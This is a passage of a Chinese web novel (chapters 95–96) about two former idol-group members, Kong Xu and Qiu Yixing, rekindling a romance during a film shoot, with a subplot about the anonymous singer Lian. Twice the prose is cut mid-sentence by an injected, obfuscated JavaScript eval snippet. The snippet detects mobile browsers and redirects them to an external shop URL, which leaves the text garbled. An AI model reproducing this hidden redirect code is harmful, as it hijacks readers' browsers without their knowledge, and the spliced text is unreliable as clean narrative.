犹豫之间,孔栩推门出去了。 他一个人躺着实在没趣,只好起床洗漱。 见到桌上的检查单,他叹了口气,把单子对折了好几下,丢进马桶,冲走了。 95. 第 95 章 孔栩一年到头也去不了公司几次,公司前几年发展势头如日中天,顺利上市,他持有几分原始股,每年都有一笔巨大的分红。 对他来说,他并不需要为了金钱去工作,也不需要做什么违背本心的事情,项汝怡见过他颓废的样子,也不敢强迫他去做什么。 项汝怡坐在办公室里正喝着一杯冰美式,她前几天刚烫了时下流行的卷发,果决干练中不乏亲切。 见孔栩敲门进来,她没有直接说明叫孔栩上门的目的,而是跟他闲聊起来。 “最近怎么样?”项汝怡笑吟吟地看着他,“听唐烨说你有情况,是不是?” 孔栩没料到多日不见,她对自己的感情生活这么上心,不禁嘀咕了一句“唐烨这个大嘴巴”。 “这不是挺好?”项汝怡八卦地咳了两声,“我见过没有?是圈内人吗?” 孔栩不愿跟项汝怡细说,随口道:“不算吧。” 项汝怡看他还是像在看小孩,便提醒了几句:“这段时间我看你热度又起来了,我知道你没什么事业心,不过也不要一直躺平,躺着躺着就要忘记站着是什么感受了。我知道你还是喜欢音乐,有个音乐比赛的综艺,想请你去当评委,你愿不愿意去?” 孔栩有些惊讶:“我马上要进组了。” 项汝怡:“你那文艺片估计一个月就拍完了,这综艺得下个月才开始录制呢,你考虑考虑再给我回复。” 孔栩哪有信心去给人当评委,他是什么玩意,去评价别人的唱歌水平,觉得评委得徐如夜那个咖位才可以。 他心有惴惴,索性当下就给拒了,项汝怡看着他,补充说:“这些选手呢,都是曾经红过的,但后来越发没什么名气的艺人,来参加这档节目主要是为了翻红,你猜猜,会有哪些参赛选手?” “这我哪知道?”孔栩说,“我又没参加过他们的市场调研。” “有我们的老熟人呢。”项汝怡说,“你不想跟他一块去玩吗?” 听项汝怡这么说,孔栩脑中瞬间升起一个可能:“……谁?” 果不其然,项汝怡回答他说:“邱以星。” 孔栩猜中,没说话。心想,他吃我的,喝我的,住我的,都要变成寄人篱下的小白脸了,怎么把这事瞒得严严实实滴水不漏的? 项汝怡看出他心中所想,解释说:“这是拟名单,还没有正式发出邀请,他住你对面,你记得劝他去参加。” “我不要。”孔栩想都不想地拒绝。 “为什么?这是个很好的机会,”项汝怡皱眉,苦口婆心地对他说,“邱以星销声匿迹这么久,这次回来总得找点事做做,总不能成天吃老本。他闲着也是闲着,参加个比赛怎么了?至少有曝光度。” 项汝怡是为了邱以星好,孔栩知道,可他还是下意识反驳:“他还没有落魄到参加这种节目,被人指指点点的地步。” 项汝怡诧异地瞥了他一眼:“你在给邱以星讲话?我没听错吧?” 孔栩:“……” 项汝怡:“你忘了当时怎么当着记者的面骂他的了?你是骂得爽了,我跟在后面给你擦屁股,买通稿,撤热搜,费了好大的劲才把你们组合内部不合的传闻压下去——其实并没完全压下去,至今都有人怀疑陆笑蓉去容媒是被我逼迫的,邱以星解约是因为遭受了极大不公正的待遇。你说说,你欠我这么大一个人情怎么还?” 孔栩哑口无言,他张了张口,声音弱下来:“哪有这样的……您自己不能去找他吗?” 项汝怡耸了耸肩,手一摊:“你以为我不想么,他比较听你的话。” 孔栩离开项汝怡办公室,没有立即回去,而是在公司里逛了一圈。 他算是公司元老级别的人物,平时很难见他一面,冷不丁出来露个面,公司里的艺人还有其他工作人员纷纷拿余光打量他,搞得孔栩很不自在,没逛个几分钟就钻进了他在公司的宿舍。 宿舍还是老样子,项汝怡一直给他们留着,即使如今艺人越来越多,他们这几个房间一直没人动过。 孔栩先是给陆笑蓉发了条信息,告诉她自己可以尝试负责她新歌的钢琴部分,不过需要给他点时间,让他练练琴。 陆笑蓉估计在忙,没有立即回复,孔栩便点开了邱以星的微信号。 孔栩往上翻了翻聊天记录,最近的一条是五年前,也是他当着记者面骂完邱以星之后,给他发的最后一条消息。 他当时发的是:邱以星,你果然还是全世界最讨人厌的人。 但孔栩给邱以星的备注没有变过,依然是“全天下最好的邱以星”,只不过取消置顶,随着他微信好友的增多,邱以星的位置逐日下降,一直到孔栩需要翻很久才能翻到他的对话框。 他一度以为邱以星不再用这个号了,可那天邱以星却用这个号在小群里发消息,说明他发的消息,他全部都看过,又全部都无视了。 孔栩噼里啪啦地在文字框里打了几个字,可是斟酌半天没有找到恰当的说辞,他以什么立场让邱以星参加比赛?虽然他心中隐隐觉得他开口,邱以星就一定会同意。 可是为什么自己会这么笃定?即使他不告而别出走了七年,即使他无视自己不间断发的消息,即使他对过往发生的事不置一词……自己又凭什么还这么笃定? 孔栩吸了口气。 他难道不是在重蹈覆辙吗?他又被邱以星迷惑了?他告诫自己,邱以星是有前科的人,他做的任何事不能动摇他的意志。 孔栩为了冷静,把唐烨发他的那几套房子的资料又拿出来对比分析。 他总有天会跟邱以星分道扬镳,眼下跟邱以星只不过是逢场作戏,他反复提醒自己。 然后陆笑蓉的信息发了过来。 陆笑蓉:“太好了!我把Lian的微信推给你,而且我还有个小道消息想跟你分享。” 孔栩:“什么?” 陆笑蓉:“Lian是个男人。” 孔栩:“你见过他了?怎么知道?” 陆笑蓉:“我哪有那个本事见到他啊。我刚刚偷窥他朋友圈,发现他特别喜欢拍天空,清一色的天空里有一张穿戴整齐打领带的照片,虽然没露脸,但我看着像有喉结。不信你去看看,就一个多星期前发的,感觉气质不错,是个大帅哥。” 孔栩:“看不见脸,你也能辨认出来是个帅哥?” 陆笑蓉:“那可不,帅哥是一种感觉。” Lian的性别一直不明,甚至有人传闻他是人妖,所以总是藏头露尾。 孔栩虽然好奇,不过并没有相信网上那些无厘头的猜测,人妖什么的,也太过离谱。 现在终于知道阿涟的性别,孔栩也没有感到惊讶,阿涟对他来说,是男是女都不重要,重要的是他的歌陪伴了自己许多日日夜夜。 阿涟的歌在某种程度上可以算是他的精神寄托。 孔栩没有犹豫就添加了阿涟,没过几秒,阿涟就点了同意,孔栩加了阿涟好友,很激动,主动跟阿涟打招呼介绍自己。 阿涟既不热情也不冷淡,给他回了个“微笑”的表情。 孔栩又表达了自己作为歌迷的身份,阿涟礼貌地回复:“谢谢。” 这是孔栩想象中的阿涟,有些内向,有边界感,同时还有点自我,不会因外界的纷纷扰扰而影响自己。 他又好奇地问阿涟为什么会选择自己,明明有其他更专业的人,阿涟的状态一直处于正在输入中,过了好半天,他才发来几个字:“因为你可以。” 孔栩抱着手机很想在床上打几个滚,这令他精神大振,信心满满。 他约了个调音师来给钢琴调音,又让陆笑蓉尽快安排线上会议,他迫不及待想跟阿涟进行一场思想上的碰撞,陆笑蓉承诺尽快安排。 孔栩想,说不定以后自己也能请阿涟合作唱个歌什么的,这么想着,孔栩觉得果然还是活着好,活着真有盼头。 从公司回家,他开始准备进组的事宜。 刘真这部片子拍摄时间预计只有一个月,他为此已经准备了很长时间,这是他第一次拍电影演主角,虽然报了个培训班突击过,又在唐子宜酒吧胡混了一段时间,可他免不了还是有些忐忑。 唐烨过来陪他收拾东西,衣物和生活用品装了两个行李箱,孔栩下厨,留唐烨吃了顿午饭。 水足饭饱,唐烨听见门铃响,是孔栩约的调音师到了。 孔栩请调音师进门,之前唐烨就想问,孔栩不是缺钱的人,怎么一台旧钢琴能用到今天,走音走成这样,不如直接换台新的。 调音师听了,淡淡说了一句:“长情的人,老物件总是舍不得丢掉的。” 唐烨有所领悟地点点头,在一旁看调音师打开琴盖,进行细致的清理与调音。 这是一门手艺活,孔栩自己也能调,不过家里没有工具,请人上门方便一点。 经过两个多小时的调音,这台旧钢琴恢复了原有的生命力。 送调音师离开后,孔栩坐在琴凳上,弹出一段极为悦耳的音。 唐烨从没面对面听过孔栩弹琴,立即搬来小板凳,安静聆听。 孔栩弹的音乐很熟悉,唐烨忘记在哪儿听过,他看见孔栩弹钢琴时的状态和平时见到的大相径庭,平日里孔栩是没什么要求的人,他干什么都给人一种漫不经心,怎么样都可以的感觉。 他弹琴时端坐在那,一副认真的派头,认真得甚至有几分谨慎,弹了一会儿后,孔栩的肩膀渐渐放松下来,手指也越来越灵活自如。 孔栩弹的是阿涟在五年前写的那首歌,名字叫做《一本梦》。 阿涟介绍这首歌时,说了句是写给初恋的。 他或许曾有一段刻骨铭心的爱情,这首歌听得人心碎,孔栩听到这首歌时,奇异地与这位陌生歌手产生了共鸣,又感兴趣地去找他其他的歌来听。 最初阿涟活跃在一个叫不出名字的音乐网站上。他压根不在意在什么地方上传歌曲,随便注册了一个叫做“Lian”的账号。 他的第一首歌是一支听起来炸耳又疯癫的电子摇滚,叫做《我的嘴不是我在说话》,莫名契合了当代部分年轻人反叛的心理状态,很快就流行开来。 那时候他只有歌火,人依旧籍籍无名,直到他的第二首歌问世,第二首是一支正正经经的抒情歌,众人惊叹,哦,原来Lian不是只会大吵大闹,抒情歌也这么抓耳。 再然后,人们发现作词作曲编曲都是Lian本人,加之他为人神秘莫测,立即引起了广泛的讨论度。 巨大的流量涌入,也让这个即将倒闭的音乐网站起死回生。 很多人原本以为他只是昙花一现,没想到他不卑不亢,不被任何人的话语所裹挟,一直兢兢业业创作到如今,创作的水平有增无减,令不少大型的音乐公司朝他抛橄榄枝,不过Lian本人对此兴趣缺缺,不为名不为利,依旧做他的独立音乐人。 他有着一群数量庞大的死忠粉,网站十周年那会,邀请他线上直播唱歌,结束后有互动环节,不少粉丝都问了他问题,孔栩也看过那场直播。 有人问:Lian,你为什么要叫Lian? Lian回答:是我中文名字的拼音,你们也可以叫我阿涟。 还有人问:你的IP地址一直变来变去,不是在加拿大就是在美国,你是在度假,还是移民了? Lian说:都不是。 孔栩当时凑热闹,匿名也问了Lian一个问题,他问:你跟初恋有结果了吗? 他不知道Lian有没有看到,过了一会儿,Lian开口了,即使经过变声器的伪装,孔栩还是从他的声音里听出很多难以启齿的遗憾,很多无法诉之于口的秘密。 Lian说:我会非常非常努力,让它有结果。 那之后,孔栩除了关注Lian的新歌动态,也常常会想Lian和初恋怎么样了,有结果了没有。 孔栩也偶尔会想,如果世界上的事情,只要付出努力就会有结果该多好。 一曲弹完,唐烨把手掌心都拍红了,说真好听,能不能再来一首。 孔栩很给面子地又弹了几首他擅长的,曲子欢快,让唐烨这个不会跳舞的人很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17400758|194219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想抱着什么跳一跳舞。 唐烨问:“你能不能告诉我,这琴放这积灰积了这么多年,为什么突然又开始弹琴?” 没等孔栩回答,唐烨自顾自地想出答案:“不会是因为邱以星吧?” 孔栩没来得及反驳,听到门铃响了。 唐烨:“这个点了,谁来找你?” 孔栩没动静,门外传来邱以星孜孜不倦地敲门声:“我知道你在家,我听见你弹琴的声音了。” “邱以星?”唐烨感兴趣地说,“住对门就是方便哈,走两步就能来串门。” 孔栩略微有些心虚,心说,岂止是串门,说出来吓不死你。 他一直没开门,邱以星便随口给童谣换了个词,有节奏地敲门:“小木鱼乖乖,把门开开,快点儿开开,我心焦难耐。” 孔栩尴尬得头顶要冒烟,在唐烨如利剑一般的目光中,他攥着手心,绷紧头皮去给邱以星开门,邱以星熟门熟路地换了拖鞋,絮絮叨叨地说:“你直接把密码告诉我得了,省得我按铃……” 见到唐烨,他微微诧异了一秒,随即说:“嚯,家里来人了?请坐请坐,不好意思,我刚回来,招待不周,请多包涵。” “这到底谁的家?”孔栩踹了他一脚,又给唐烨使了个“快滚”的眼色。 唐烨第一时间接收到,连忙告辞,他觉得自己要是再待下去,保不定会被孔栩毁尸灭迹。 邱以星见碍眼的走了,刚想把孔栩拽过来狠狠亲几口,就看见客厅里有两个行李箱,他的心蓦地一跳,急忙追问:“你要去哪儿?怎么不跟我商量。” 孔栩见他又惊又恐,也不逗他了:“进组拍戏,都定好的事情,跟你商量什么。” 邱以星这才松了口气,他勉强笑了笑:“那就好,我还当你……” “什么?” “没什么。”邱以星摇摇头,“哪天去,我送你。” “后天。”孔栩往沙发上一靠,邱以星自然而然地坐过去,手臂紧紧环着孔栩的腰,把下巴搭在孔栩脖颈使劲吸了一口。 “要拍几天?”邱以星听起来有些闷闷不乐。 “一个月吧,”孔栩说,“不过也要看情况。” “什么?!”邱以星听到“一个月”,觉得天都要塌了。 孔栩说:“一个月对我们这种小成本文艺片已经算短的了,你看陈颂一进组拍戏,起码三个月起步。” “他能跟你比吗?”邱以星用牙齿磨了磨孔栩的耳垂,想到这“一个月”,生无可恋地叹了口气,“能不能把我也带上?我可以全程当哑巴。” 孔栩忙把邱以星推开:“别烦,留印子。” “我轻点儿行吗,”邱以星低着声音,“小木鱼,那么久不见,我要想死你了。” 孔栩轻飘飘地说了句:“再久能有七年久?” 邱以星登时没话说了。 孔栩见缝扎针地刺他,邱以星已经习惯了,反正人在自己面前就好。 可眼下这人也要走了,他内心感到一阵强烈的不安。 “哦,还有,今天我去公司,项姐有件事让我问问你。”孔栩便跟邱以星稍微讲了讲项汝怡上午跟他说的事,邱以星沉浸在即将分别的难过中不可自拔,什么也听不进去。 孔栩:“你在不在听?” 邱以星扭脸:“不想听。” 孔栩掐着他下巴,强迫他看自己的眼睛:“必须听!” 邱以星:“……好吧,我参加。” 孔栩不解:“为什么?你不考虑考虑么?” 邱以星望着他,像是在看一个笨蛋:“你还问,因为我爱你,我想一直陪着你,想跟你一起上下班。我要是拿到比赛的冠军,你能不能答应我一个愿望?” 孔栩默然片刻,想他的“我爱你”这么不值钱么?张口就来。 他有点后悔提这个话题,说:“别跟我讨价还价,又不是我让你参加的,你找项姐让她答应你一个愿望去。” 邱以星见他不上当,无奈地扯了下嘴角,继续胡搅蛮缠道:“其实我是想让你留几天时间出来,我们出去玩一趟怎么样?” “去哪玩?”孔栩问。 “加拿大,之前不是你很期待去加拿大玩么,”邱以星说,“这个点去加拿大正好,我们去看山看海还能看瀑布,极光是看不到了,不过我们可以等冬天的时候再去一趟。” 说到加拿大,孔栩记得他们组合没解散之前,说要去加拿大巡演,他并不是想去加拿大,而是期待跟大家一起出去玩而已。去哪儿不重要,重要的是他们在一起。 如今他们五个人都有各自的忙碌,已经很难凑到一起了,加拿大也不是必须要去的地方了。 孔栩问:“你经常去加拿大吗?还是说在那里生活?” “去过几次,”邱以星说,“而且那边的小偷真的好多,我追了小偷三条街才把东西给追回来。” 孔栩:“什么东西要追三条街?” 邱以星:“一个小物件。”又揉着孔栩:“去不去?” “再说吧,”孔栩敷衍的态度明晃晃,“我忙着呢。” 邱以星挤出笑容:“行。” “哦,对了,”孔栩想起什么,问他,“去医院检查的情况怎么样?” 邱以星微微一僵:“挺好的,没有任何问题。” 孔栩信了他的话,不再追问,关心邱以星只会让他蹬鼻子上脸,就像他现在这样。 邱以星借口有一个月的时间看不见他,埋孔栩怀里说必须给他点甜头,不然他要活不下去了。 孔栩问他想要什么甜头,他红着脸在孔栩耳边耳语一番,孔栩听完,烫到了似的也变得面红耳赤,被他的不要脸震惊到了,抬脚就要踹他,不过邱以星已经提前预判,将他一把压在沙发上,结结实实地在他嘴上响亮地亲了一口:“亲爱的,可以的吧。” “不可以!你这个……你这个大混蛋!”孔栩被邱以星撩起衣服咬了一口,疼得他一哆嗦,“凭什么总是你在上面,我要抗议!” 邱以星哼笑一声:“不行,抗议无效。” 96. 第 96 章 孔栩进组两天,邱以星分别早中晚给他发一条骚扰消息,像是在提醒孔栩,还有个可怜人在家里等他。 正是休息期间,孔栩和刘真坐监视器后方,看孔栩刚刚抽烟那一幕。 仲奕修长的手指夹着刚燃起的烟,青烟徐徐,笼罩他梦寐一般的侧脸。仲奕不会抽烟,吸的时候呛了两口,眼里蒙了一层薄而多情的水雾。 这幕拍的是仲奕偷穿女装被他父亲撞见,他父亲破口骂他是变态。他等父亲走后,在家试着抽了人生中的第一支烟,他见过的大多数男人都会抽烟,包括他父亲,所以仲奕想学着抽烟扮演一个合格的男人,可是他讨厌烟味,吸了两口就干呕起来。 刘真很满意孔栩的表演,跟他探讨下一幕仲奕与家人爆发剧烈争吵的场景,这时人群中传来一阵骚动,刘真皱起眉,不满地问道:“这是怎么了?” 站一旁的唐烨闻言大跨步去看什么情况,孔栩也抬眼望过去,只见一个戴着墨镜的高挑人影使劲朝他这边挥了挥手。 唐烨小跑回来,在他耳边低声说:“是邱以星。” 孔栩竟然一点儿也不意外,他微不可闻地叹了口气,刘真注意到,拧着的眉头松动:“你认识?” 虽然孔栩不想承认,但为了避免邱以星被人打出去,他只好点点头:“啊。我邻居。” 刘真:“邻居?就是住你对门的那个?” 孔栩“嗯”了一身,起身去把拦在外面的邱以星领进来。 邱以星的脸被大太阳晒得发红,额上一层细密的汗珠,他摘了墨镜,朝孔栩露出一个灿烂的笑容。 孔栩被他的笑容晃了眼,周围一圈工作人员都在打量他们,也有人似乎认出了邱以星,发出一惊一乍的窃窃私语声。 孔栩把他带进自己的房车,灰色窗帘一拉,隔绝了所有的视线。 “你来怎么不告诉我一声?”孔栩扯了两张纸让他擦汗,“大热天的不知道找个阴凉的地方站着吗?傻东西。” 邱以星唇角朝上好心情地勾着,并不接那两张纸,而是略微低下头:“你帮我擦擦。” 孔栩随手就给他擦了,邱以星说:“我给你发消息了,估计你没看手机。” 他刚刚确实没看手机:“你要早点告诉我。” 邱以星:“太早了就没惊喜了。” 孔栩白了他一眼:“惊吓更多好不好。” 邱以星问他:“外面那个是导演?” 孔栩“嗯”了一声:“刘真,刘导。等会你出去要礼貌,记得跟他打招呼。” 邱以星若有所思似的转了转眼珠,想问什么,又把话咽回去了。 孔栩午休时间很短,邱以星不想浪费这么珍贵的时间,他让孔栩躺在沙发椅上抓紧时间休息会儿,孔栩觉得他老实得有点反常,问:“那你呢?” 邱以星将毯子盖在孔栩身上,给他理了理鬓角的发丝:“我看着你,到时间我叫你。” 孔栩:“随便你。” 孔栩并没有彻底睡着,可没有多清醒,意识沉沉浮浮,他恍惚间闻到一股温暖好闻的气息,有夏天的味道。 下午他在外面拍戏,邱以星一直安安分分地在他房车里待着。 吃晚饭时,孔栩拿着盒饭和一份外卖去房车里吃,剧组资金有限,多少人多少份盒饭,没有邱以星的那一份。 刘真和唐烨对视一眼,刘真问唐烨:“怎么还没走?” 这个问题难以回答,唐烨也很想问来着,但他也看出来这两人一个愿打一个愿挨,孔栩表面上似乎很不耐烦邱以星,其实并不讨厌,不然不会容忍邱以星一而再再而三的冒犯。 于是他告诉刘真:“刘导,不出意外的话,我想接下来您会天天见到他。” 刘真心里纳闷,还有这种闲人? 匆匆吃过饭,孔栩接着拍戏,邱以星也无聊,在化妆间看化妆师给孔栩化妆。 大家知道邱以星来探孔栩的班,不好说什么,邱以星也不打扰人工作,直接往房间角落蹲下来,两手撑着脸颊,像是一只沉默无言的大型犬类。 这时刘真推门进来了,他注意到角落的邱以星,邱以星也看见了他。 想起孔栩说要礼貌,邱以星伸手朝刘真装模作样地挥了两下,皮笑肉不笑地说:“刘导好。” “你好。”刘真朝他点点头,“你叫什么名字?” 邱以星看了孔栩一眼,计上心头,说:“我叫邱小六。” 刘真笑了笑:“挺特别的名字。” 孔栩被自己的口水呛到,猛地咳起来,咳得面色通红,邱以星连忙起身把一旁的保温杯打开递给他,孔栩喝了两口,有所缓和后,他对刘真说:“别听他瞎说,他叫邱以星。” “你跟邻居的关系真好。”刘真见他俩眉来眼去,心中产生了一丝异样。 邱以星一顿,看向孔栩,咬字很重地问:“……邻居?” 孔栩抱着保温杯,有些心虚地说:“啊,不然呢。” 邱以星吸了口气,闷闷不乐地蹲回去,打算暂时都不跟孔栩说话了。 刘真搬了把椅子坐在孔栩旁边,跟他讲戏。 晚上有场仲奕穿女装去夜场的戏,自从跟家里人彻底闹掰之后,仲奕索性搬了出去。因为身无分文,又没找到合适的工作,所以白天在超市当收银员聊以生存,可他不是安分的人,不久后内心蠢蠢欲动,下了班之后就去夜场找乐子。 这也是仲奕第一次在众人面前穿女装。 孔栩的妆画得偏浓,睫毛刷得又长又卷,他本来就长得白,加之一头长发散下来,活脱脱一个浓妆艳抹的美丽女人。 邱以星看呆了,一时竟忘记了呼吸,都不知道刘真是什么时候离开的。 孔栩去更衣室换上了一件红色的裙子,裙子长至膝盖,露出他两条修长美好的小腿。造型师给他选了一双黑色的细跟鞋,他穿上走了几步,还挺稳当的。 邱以星一眨不眨地看着他,想,孔栩如果真是个女孩子,大概会有无数人争先恐后地给他递情书表达爱慕,估计也就没他什么事儿了。 唐烨在门口叫孔栩出发,孔栩走到邱以星身边,伸手摸了摸邱以星的狗头:“早点回去,我要拍到很晚,别等我。” 他想跟着一起去,孔栩没让,说他碍事,于是他就钻进房车继续等孔栩。 在等待的期间,邱以星登录了一个音乐网站。 他平时除了发歌或者网站方邀请,很少会登录进来,他一登录,头像状态立即显示“Lian已上线”。 Lian上线的消息一传十十传百,都在激动地问是不是Lian又要发新歌了。 又问Lian是不是要直播唱歌,邱以星打了几个字放评论区,说只是上来看看,没歌,在外面不方便唱。 陆笑蓉给Lian发了几百条私信,她还以为是自己的诚意感动了Lian,实则是邱以星在饭桌上听到她的抱怨,回去赶紧登录账号回复了她。 后来邱以星没事就登陆进来看看有无熟人的新消息,主要是想看在茫茫账号里孔栩是否披着马甲给他发过私信。 一直到晚上十点多,孔栩才回来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17407847|194219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他看房车的灯亮着,唐烨也说邱以星还没走,于是他让唐烨在外面等,他推开车门,连妆都没来得及卸,张口就说:“不是说让你别等——” 话没说完就被邱以星拉住胳膊,拽到了腿上。 他的脸距离邱以星极近,邱以星看见孔栩嘴上的口红微微有些化了,一侧的假睫毛也不知落在了何处,身上有复杂浑浊的气味,大概是拍戏的时候沾到的。 邱以星亲了他一口,蹭了他一嘴的口红。 “你干什么?别吃!”孔栩抬手去擦他的嘴,邱以星却握住他的手腕,又舔了舔,说:“好甜啊小木鱼。” 孔栩的口红被他吃了大半,他使劲推着邱以星的头,有些抗拒:“中毒了别来找我。” “牡丹花下死……”邱以星还要说,孔栩捂住他的嘴:“别贫,你赶紧回去,唐烨还在外面等着。” 邱以星:“那就让他等着。” 孔栩觉得今天的邱以星格外缠人,像块橡皮糖怎么都甩不开,他想到什么,声音顿时冷下来:“邱以星,因为我现在像个女人,所以让你这么兴奋吗?” 邱以星的热血在一瞬间凉了下去。 他看孔栩的脸色不对,一把抓住孔栩的手腕,将他从自己身上拉起来,他没听明白:“什么意思?” “我说你更喜欢女人,对不对?”孔栩盯着邱以星的眼睛,“你更喜欢长头发的女人。” “哈?”邱以星十分冤枉,他什么时候喜欢过长头发的女人? 孔栩见他装傻充愣,气不打一处来:“这么快就记不得了,那让我帮你回忆回忆,高中有一次聚餐,你说你喜欢闻旋那种类型的女孩子。” 邱以星冷不丁听到闻旋这个名字,悚然一惊,差点以为孔栩知道了些什么。 孔栩见他神色有异样,声音变得越发冷:“怎么,听到她名字,反应这么大?” 邱以星脑子有点乱,他不知道这事怎么还能牵扯到闻旋:“我哪儿反应大了,你别胡说八道,闻旋前不久刚订婚。” “你怎么知道她订婚?”孔栩逼问他,“你们一直在联系?” “是有联系,但不是你想的那样。”邱以星解释说,“闻旋在美国读博,我跟她在同一个项目组,见过几次面。” “那还真是巧。”孔栩刻薄地说,“这都没让你们再续前缘。” 孔栩悲哀地心想,原来他这些年一直在美国,他跟闻旋有联系,却切断了跟自己的联络。 “谁要跟她再续前缘,我跟她有什么缘分可言?”邱以星真生气了,“我也从来没喜欢过她,我喜欢谁你不是最清楚吗?” 孔栩却淡淡地说:“我不清楚。” 邱以星胸口起伏得厉害,他忍无可忍,抬脚飞快往前走了几步,五步之后又转过身,咬着牙对孔栩说:“我不喜欢长头发的女人,更不喜欢闻旋,我喜欢你,我爱你!见你的第一眼我就爱你,我爱你爱得要死,没了你活不下去,现在你清楚了吗?” 孔栩的瞳孔微微一颤。 不等他回答,邱以星心灰意冷地说:“反正你就是不相信我。” 他说完这句话,拉开车门,见唐烨瞠目结舌地站在车门旁。 唐烨听到了全部的劲爆内容,好在他旁边没人,不然传出去了就是一条大新闻。 “那个,我、我不会说出去的。”唐烨结结巴巴地保证。 “替我转告你家的艺人,”邱以星怒气冲冲,“我明天不来了,后来也不来了!” 孔栩听到,立即拉开窗户:“不来就不来!谁稀罕!”